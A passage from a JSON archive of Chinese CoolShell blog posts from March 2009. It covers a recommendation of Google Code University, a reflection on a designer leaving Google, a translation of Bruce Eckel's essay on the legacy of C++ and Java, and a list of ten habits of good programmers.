height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/933.html\"><img alt=\"如何加密/混乱C源代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/933.html\">如何加密/混乱C源代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7480.html\"><img alt=\"Javascript 中的 var\" height=\"150\" src=\"../wp-content/uploads/2012/05/jslint-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7480.html\">Javascript 中的 var</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/29.html\">读后感：真正编程的力量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 资源推荐 Google Code University.html",
    "content": "<html><body><p>如果你的专业课里有过不少计算机科学之类的内容，你可能还记得很多中文课本不太好读，其原因一方面有可能因为是课本里的语言（符号）粗制滥造，另一方面有可能是因为你的思维方式不适应课本里的内容。</p>\n<p>我推荐所有能看懂英文的读者多去搜索一下英文世界里的教材，从而能够摆脱劣质教材或语言因素所带来的束缚。为什么推荐英文教材呢？大家可以参考一下英文教材编写者(计算机科学界大儒，图灵奖得住) <a href=\"http://www.cs.utexas.edu/users/EWD/\" target=\"_blank\">Dijkstra</a>对于自己写作上的要求：</p>\n<blockquote><p>At a given moment, the concept of polite mathematics emerged, the underlying idea of which is that, even if you have only 60 readers, it pays to spend an hour if by doing so you can save your average reader a minute…</p></blockquote>\n<p> <span id=\"more-35\"></span></p>\n<blockquote><p>翻译：任何时候，你（作者）在书中要解释一些带有数学成分的概念，你（作者）应该有这样的理念：哪怕这个内容只有60个读者，（作者）花1小时仔细推敲措辞从而省去每个普通读者的1分钟都是值得的…</p></blockquote>\n<p>这样的治学和写作精神是值得我们学习的，同时也是其作品质量和易懂程度的保障。这样的精神在<a href=\"http://www-cs-faculty.stanford.edu/~knuth/\" target=\"_blank\"> Donald Knuth</a> 在选择为教科书的符号系统和公式的排版上所做的努力中也是可以见到的。</p>\n<p>在这里推荐一下<a href=\"http://code.google.com/edu/\" target=\"_blank\">Google Code University</a>, 其中集合了一些计算机科学基础课程的国外大学讲义 （完全免费，组织甚好），其中包括了：数据结构，离散数学，分布式系统，自动机理论，计算机安全，图形学等。自己去探索一下吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/35.html\">资源推荐: Google Code University</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-21 一位离开Google的设计师离职感言的读后感.html",
    "content": "<html><body><p>Douglas Bowman, 一位Google的设计师，3月20日离开了Google。他在自己的<a href=\"http://stopdesign.com/\">博客</a>上留了一篇<a href=\"http://stopdesign.com/archive/2006/05/27/going-to-google.html\">感言</a></p>\n<p>很多人感兴趣Google是否是技术人员的天堂，也感兴趣Google有多少数据，更多人想撬开Google的创新引擎看看这个日渐庞大的企业如何能够保持特立独行的作风。本文不是关于这些，而是一个设计师的对Google的理解。</p>\n<p>摘要：</p>\n<blockquote><p>当一个公司里没有一个透彻理解“设计的原则和元素”的领军人物时，很快这个公司就会在作出设计决定上感到枯竭。（原文：Without a person at (or near) the helm who thoroughly understands the <a href=\"http://en.wikipedia.org/wiki/Design_principles_and_elements\">principles and elements of Design</a>, a company eventually runs out of reasons for design decisions.）</p></blockquote>\n<blockquote><p>我感激Google工作的机会，学习很多，很好的食物…但我不会想念那被数据随意斩杀的设计理念。（原文：I’m thankful for the opportunity I had to work at Google. I learned more than I thought I would. I’ll miss the free food. I’ll miss the occasional massage. I’ll miss the authors, politicians, and celebrities that come to speak or perform. I’ll miss early chances to play with cool toys before they’re released to the public. Most of all, I’ll miss working with the incredibly smart and talented people I got to know there. But I won’t miss a design philosophy that lives or dies strictly by the sword of data.）</p></blockquote>\n<p><span id=\"more-208\"></span></p>\n<p>这个不得不让我们对于如何做出好的设计有些思考，尤其是我们多大程度上应该依赖数据，尤其是对数据的解释。正如剑桥大学的一篇关于<a href=\"http://www.admin.cam.ac.uk/news/dp/2009031701\">统计数据研讨会新闻报道</a>中说道：</p>\n<blockquote><p>统计数据是重要的，能够帮助我们做出日常判断甚至是预测将来提供依据，但是统计数据也是非常无聊的，而且容易被别有用心的人歪曲。（原文：Statistics are essential, from helping us to make choices in our day to day lives to predicting what might happen in the future, but often they are boring and can be manipulated to serve a particular purpose.）</p></blockquote>\n<p>这也同时让我们想到了《<a href=\"https://coolshell.cn/articles/76.html\">怎样做一个Program Manager</a>》 中所引述的，其实很多时候，需求和决定来自看似非常繁杂和近似混乱的沟通。</p>\n<p>综合这些，以及我们对一般（非互联网）产品的设计的理解，我们仍然有理由相信，（互联网）的产品需要来自经验的直觉指导大胆而创新的改变；而此经验的获得和对数据快速反应的能力，来自一种叫做 strategic thinking 的能力。对于strategic thinking, 坦率的说是因为词汇匮乏，也更像是一种 quality without a name。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/753.html\"><img alt=\"不要拯救那些职场上的“无可救药”\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/753.html\">不要拯救那些职场上的“无可救药”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3872.html\"><img alt=\"微软用新浪来当反面教材\" height=\"150\" src=\"../wp-content/uploads/2011/03/affc-image1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2990.html\"><img alt=\"编程时间分配图\" height=\"150\" src=\"../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2990.html\">编程时间分配图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19464.html\"><img alt=\"如何超过大多数人\" height=\"150\" src=\"../wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19464.html\">如何超过大多数人</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/208.html\">一位离开Google的设计师离职感言的读后感</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-22 C++和JAVA传统中积极的一面.html",
    "content": "<html><body><p><strong><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/bruceeckel.jpg\"><img alt=\"bruceeckel\" class=\"alignright size-full wp-image-232\" height=\"130\" src=\"../wp-content/uploads/2009/03/bruceeckel.jpg\" title=\"bruceeckel\" width=\"95\"/></a>译者注</strong>：</p>\n<p>本文翻译自Bruce Eckel（《Thinking in C++》&amp; 《Thinking in Java》作者）的博文，该博文于2009年03月14日发表于：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.artima.com/weblogs/viewpost.jsp?thread=252441\">http://www.artima.com/weblogs/viewpost.jsp?thread=252441</a></p>\n<p>本文的发表引起了互联网上热烈的讨论，关于讨论大家可以到<a href=\"http://www.artima.com/forums/flat.jsp?forum=106&amp;thread=252441\" target=\"_blank\">这里</a>围观。</p>\n<p>下面是原文。原名《<strong>The Positive Legacy of C++ and Java</strong>》</p>\n<p><strong>摘要：</strong></p>\n<p>在最近的讨论中，有些人断定C++并不是一个设计完美的语言。在我在C++标准委员那8年里，我目睹所有关于C++的决议的诞生。我希望本文有助于帮读者理解C++和JAVA的设计选择，从而可以让大家更全面的来看待他们。<br/>\n<span id=\"more-209\"></span></p>\n<p>有人说，我很少再使用C++。当我使用C++时，我只是为了测试一下陈旧的代码，或者写一个和性能密切相关的程序，通常这个程序非常小，并且通过其他的语言来调用。(我喜欢的做法是，用Python快速开发一个程序，用profile辅助程序对其进行性能优化，如果需要的话，通过Python的ctypes调用C++写的程序来改善性能)。</p>\n<p>因为我曾经是C++标准委员会的一员，我目睹了这些决议的产生。这些C++决议都是在经过超级深思熟虑的考虑之后在做出，他们远比大多数Java的决议更为谨慎小心。</p>\n<p>然而，就像有些人准确地指出那样，C++是复杂而难于使用的，并且充满了各种个样容易让人忘记的古怪的规则。当我在写书的时候，我只能从规范中找到这些规则的说明，而不是自己能记住这些规则。</p>\n<p>为了让人们理解C++这门语言如何即难用、复杂，同时还要有良好的设计，你必须记住一条C++中最主要的设计原则——兼容C语言。这是Stroupstru最正确的决定，这样做将会出现一条让大量的C程序员通向C++程序的捷径：这条捷径允许C程序员不需要做任何修改就可以在C++下编译程序。然而，这也成为了C++语言巨大的约束，它给C++带来了强大的力量，同时也给C++带来了无尽的痛楚。正是因为这个约束导致了C++如此的成功，并且也如此的复杂。</p>\n<p>这些C++古怪的条约使那些没有完全了解C++的Java的设计者们犯了傻。例如，他们认为程序员能用好操作符重载将会是非常困难的一件事。但是操作符重载在C++中却是必须的，因为在C++中有栈分配，同时又有堆上的分配，你只有通过重载好操作符来处理好不同类型的内存分配，并保证不会产生内存泄漏，的确是难！但对Java来说，因为Java只有单一的一种内存分配机制（<span style=\"color: #800080;\"><strong>译者注：</strong>Java基本上是采用堆分配</span>）和垃圾回收机制，这样操作符重载在Java中就变得多余（正如C#的操作符重载，和更早之前的Python操作重载，但是Python出现的要比Java早）。但是多年以来，来自Java的团队就一致认为“操作符重载太过复杂”。这一决议或其他的一些Java决议，明显说明了很多Java的设计者在做出决议的时候没有做足自己的工作，这也是为什么我有了一个藐视由Gosling和他的Java团队所做决议的名声。</p>\n<p>同样还有太多太多的例子，基本类型“因为性能原因被引入”。真正的原因是为了坚持“所有都是对象”，并且同时为底层具有效率要求的程序提供一个后门（同时这也使得一些热点技术执行起来更有效率）。噢，但是事实是，你没有办法直接使用浮点处理器来进行超越函数的计算（<span style=\"color: #800080;\"><strong>译者注：</strong></span><a href=\"http://en.wikipedia.org/wiki/Transcendental_function\" target=\"_blank\"><span style=\"color: #800080;\">Transcendental Functions </span></a><span style=\"color: #800080;\">，一种微积分的函数</span>），而只能使用软件来计算，但原本这类函数就可以使用浮点计算处理器来计算的。我尽我所能将类似这样的问题罗列出来，但是我听到的结果却总是那些无用的回答“这就是Java的方式”。</p>\n<p>当我写下泛型是个如何糟糕的设计时，我得到了同样的回应，“我们必须兼容之前的（糟糕的）Java的决议”。最后越来越多的人们获得了足够关于泛型是多难用的经验——的确，C++的泛型更强大，一致性更好（尤其现在当编译器的错误信息越来越清晰后，泛型也比以前更好使用），因为Java泛型设计很差，很难，所以人们又开始回到认真对待具现化而不是泛型，当然，这对语言是有帮助的，因为具现化这个东西并不会消弱太多的语言设计，也不会因为这些自我限制而导致语言缺陷。</p>\n<p>那个Java的问题列表在这些沉闷的回应面前只能显得单调乏味。那么，是不是这样就意味着Java是失败的语言设计呢？绝对不是，Java将主流程序员带入到了一个垃圾收集器、虚拟机、一致的错误处理模型的世界(如果你不使用异常处理，这类异常可能是非常有用的异常，正如我在《Think in Java 》4ed中演示的那样)。伴随着它设计上种种缺陷，Java把我们带领到了一个更高的层次，在这个层次上我们正在准备着迎接更为高级别的语言。</p>\n<p>另一个观点，人们一直认为C++是语言中的先驱，许多人也认为Java是语言的先驱。但是因为虚拟机，Java使得自己更容易被别的语言替代。现在任何人都有可能快速创建一门新的语言，并且和Java具有一样的效率；而以前，要得到一个正确的，有效率的编译器花去了开发一门新语言的大部分时间。</p>\n<p>现在，我们正在见证这一切的发生——不管是更高级的静态语言，例如Scala，或者说是动态语言（<span style=\"color: #800080;\"><strong>译者注</strong>：Dynamic Language，如Python或Ruby</span>），不管是新的还是移植的，例如Groovy ，JRuby和Jython。这就是未来的趋势，并且其过度将会非常的平滑，因为你可以在已有的Java代码中使用这些新语言，如果有需要，你甚至可以重写Java中产生有性能瓶颈的地方。</p>\n<p>正如C++会消亡一样，Java自生有可能消亡，或着被用于特殊环境之下（或仅仅是为了支持以前遗留的代码，因为Java并不像C++那样会被用于硬件编程）。但是Java 真正的亮点，也是意料之外的收获，就是如果当Java已经到了自身没法在进化的地步时，Java已经为其替代者创建一条平滑之路。所有未来的语言都将从这里学到：要么为自己创建一种可以不断重构(进化)(正如Python和Ruby做的那样)的文化，要么就让其竞争者发展壮大。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/209.html\">C++和JAVA传统中积极的一面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-22 优秀程序员的十个习惯.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" src=\"../wp-content/uploads/2009/03/icon_gear.png\"/>在这个世界上，有数百万的人热衷于软件开发，他们有很多名字，如：软件工程师（Software Engineer），程序员（Programmer），编码人（Coder），开发人员（Developer）。经过一段时间后，这些人也许能够成为一个优秀的编码人员，他们会非常熟悉如何用计算机语言来完成自己的工作。但是，如果你要成为一个优秀的程序员，你还可以需要有几件事你需要注意，如果你能让下面十个条目成为你的习惯，那么你才能真正算得上是优秀程序员。</p>\n<p>1. <strong>学无止境</strong>。就算是你有了10年以上的程序员经历，你也得要使劲地学习，因为你在计算机这个充满一创造力的领域，每天都会有很多很多的新事物出现。你需要跟上时代的步伐。你需要去了解新的程序语言，以及了解正在发展中的程序语言，以及一些编程框架。还需要去阅读一些业内的新闻，并到一些热门的社区去参与在线的讨论，这样你才能明白和了解整个软件开发的趋势。在国内，一些著名的社区例如：CSDN，ITPUB，CHINAUINX等等，在国外，建议你经常上一上digg.com去看看各种BLOG的聚合。</p>\n<p><span id=\"more-222\"></span></p>\n<p>2. <strong>掌握多种语言</strong>。程序语言总是有其最适合的领域。当你面对需要解决的问题时，你需要找到一个最适合的语言来解决这些问题。比如，如果你需要性能，可能C/C++是首选，如果你需要跨平台，可能Java是首选，如果你要写一个Web上的开发程序，那么PHP，ASP，Ajax，JSP可能会是你的选择，如果你要处理一些文本并和别的应用交互，可能Perl, Python会是最好的。所以，花一些时间去探索一下其它你并熟悉的程序语言，能让你的眼界变宽，因为你被武装得更好，你思考问题也就更为全面，这对于自己和项目都会有好的帮助。</p>\n<p>3. <strong>理性面对不同的操作系统或技术</strong>。程序员们总是有自己心目中无可比拟的技术和操作系统，有的人喜欢Ubuntu，有的人喜欢Debian，还有的人喜欢Windows，以及FreeBSD，MacOSX或Solaris等等。看看我的BLOG(<a href=\"http://blog.csdn.net/haoel\">http://blog.csdn.net/haoel</a>)中的那篇《<a href=\"http://blog.csdn.net/haoel/archive/2007/03/19/1533720.aspx\" target=\"_blank\">其实Unix很简单</a>》后的回复你就知道程序员们在维护起自己的忠爱时的那份执着了。只有一部分优秀的程序员明白不同操作系统的优势和长处和短处，这样，在系统选型的时候，才能做到真正的客观和公正，而不会让情绪影响到自己。同样，语言也是一样，有太多的程序员总是喜欢纠缠于语言的对比，如：Java和Perl。哪个刚刚出道的程序员没有争论去类似的话题呢？比如VC++和Delphi等等。争论这些东西只能表明自己的肤浅和浮燥。优秀的程序并不会执着于这些，而是能够理性的分析和理心地面对，从而才能客观地做出正确的选择。</p>\n<p>4. <strong>别把自己框在单一的开发环境中。</strong> 再一次，正如上面所述，每个程序员都有自己忠爱的工具和技术，有的喜欢老的（比如我就喜欢Vi编辑程序），而有的喜欢新的比如gedit或是Emacs等。有的喜欢使用像VC++一样的图形界面的调试器，而我更喜欢GDB命令行方面的调式器。等等等等。程序员在使用什么样的工具上的争论还少吗？到处都是啊。使用什么样的工具本来无所谓，只要你能更好更快地达到你的目的。但是有一点是优秀程序员都应该了解的——那就是应该去尝试一下别的工作环境。没有比较，你永远不知道谁好谁不好，你也永远不知道你所不知道的。</p>\n<p>5. <strong>使用版本管理工具管理你的代码。</strong>千万不要告诉我你不知道源码的版本管理，如果你的团队开发的源代码并没有版本管理系统，那么我要告诉你，你的软件开发还处于石器时代。赶快使用一个版式本管理工具吧。CVS 是一个看上去平淡无奇的版本工具，但它是被使用最广的版本管理系统，Subversion 是CVS的一个升级版，其正在开始接管CVS的领地。Git 又是一个不同的版本管理工具。还有Visual SourceSafe等。使用什么样的版本管理工具依赖于你的团队的大小和地理分布，你也许正在使用最有效率或最没有效率的工具来管理你的源代码。但一个优秀的程序员总是会使用一款源码版本管理工具来管理自己的代码。如果你要我推荐一个，我推荐你使用开源的Subversion。</p>\n<p>6. <strong>是一个优秀的团队成员。</strong> 除非你喜欢独奏，除非你是孤胆英雄。但我想告诉你，今天，可能没有一个成熟的软件是你一个人能做的到的，你可能是你团队中最牛的大拿，但这并不意味着你就是好的团队成员。你的能力只有放到一个团队中才能施展开来。你在和你的团队成员交流中有礼貌吗？你是否经常和他们沟通，并且大家都喜欢和你在一起讨论问题？想一想一个足球队吧，你是这个队中好的成员吗？当别人看到你在场上的跑动时，当别人看到你的传球和接球和抢断时，你的团员成员能因为你的动作受到鼓舞吗？</p>\n<p>7. <strong>把你的工作变成文档。</strong> 这一条目当然包括了在代码中写注释，但那还仅仅不够，你还需要做得更多。有良好的注释风格的代码是一个文档的基础，他能够让你和你的团队容易的明白你的意图和想法。写下文档，并不仅仅是怕我们忘了当时的想法，而且还是一种团队的离线交流的方法，更是一种知识传递的方法。记录下你所知道的一切会是一个好的习惯。因为，我相信你不希望别人总是在你最忙的时候来打断你问问题，或是你在休假的时候接到公司的电话来询问你问题。而你自己如果老是守着自己的东西，其结果只可能是让你自己长时间地深陷在这块东西内，而你就更本不可以去做更多的事情。包括向上的晋升。你可能以为“教会徒弟能饿死师父”，但我告诉你，你的保守会让你失去更多更好的东西，请你相信我，我绝不是在这里耸人听闻。</p>\n<p>8. <strong>注意备份和安全。</strong> 可能你觉得这是一个“废话”，你已明白了备份的重要性。但是，我还是要在这里提出，丢失东西是我们人生中的一部份，你总是会丢东西，这点你永远无法避免。比如：你的笔记本电脑被人偷了，你的硬盘损坏了，你的电脑中病毒了，你的系统被人入侵了，甚至整个大楼被烧了，等等，等等。所以，做好备份工作是非常非常重要的事情，硬盘是不可信的，所以定期的刻录光盘或是磁带可能会是一个好的方法，网络也是不可信的，所以小心病毒和黑客，不但使用软件方面的安全策略，你更需要一个健全的管理制度。此外，尽量的让你的数据放在不同的地方，并做好定期（每日，每周，每月）的备份策略。</p>\n<p>9. <strong>设计要足够灵活。</strong> 可能你的需求只会要求你实现一个死的东西，但是，你作为一个优秀的程序，你应该随时在思考这个死的东西是否可以有灵活的一面，比如把一些参数变成可以配置的，把一些公用的东西形成你的函数库以便以后重用，是否提供插件方面的功能？你的模块是否要以像积木一样随意组合？如果要有修改的话，你的设计是否能够马上应付？当然，灵活的设计可能并不是要你去重新发明轮子，你应该尽可能是使用标准化的东西。所谓灵话的设计就是要让让考虑更多需求之外的东西，把需求中这一类的问题都考虑到，而不是只处理需求中所说的那一特定的东西。比如说，需要需要的屏幕分辨率是800×600，那么你的设计能否灵活于其他的分辨率？程序设计总是需要我们去处理不同的环境，以及未来的趋势。我们需要用动态的眼光去思考问题，而不是刻舟求剑。也许有一天，你今天写的程序就要移植到别的环境中去，那个时候你就能真正明白什么是灵活的设计了。</p>\n<p>10. <strong>不要搬起石头砸自己的脚。</strong>程序员总是有一种不好的习惯，那就是总是想赶快地完成自己手上的工作。但情况却往往事已愿违。越是想做得快，就越是容易出问题，越是想做得快，就越是容易遗漏问题，最终，程序改过来改过去，按下葫芦起了瓢，最后花费的时间和精力反而更多。欲速而不达。优秀程序员的习惯是前面多花一些时间多作一些调查，试验一下不同的解决方案，如果时间允许，一个好的习惯是，每4个小时的编程，需要一个小时的休息，然后又是4个小时的编码。当然，这因人而异，但其目的就是让你时常回头看看，让你想一想这样三个问题：1）是否这么做是对的？2）是否这么做考虑到了所有的情况？3）是否有更好的方法？想好了再说，时常回头看看走过的路，时常总结一下过去事，会对你有很大的帮助。</p>\n<p>以上是十条优秀程序员的习惯或行为规范，希望其可以对你有所帮助。</p>\n<p>本文来源于网上phil的BLOG，但我在写作过程中使用了自己的语言和方法重新描述了一下这十条，所以，我希望你在转载的时候能够注明作者和出处以表示对我的尊重。谢谢！</p>\n<p>文章：<a href=\"http://codepad.classhelper.org/top-ten-habits-of-successful-programmers/223/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" 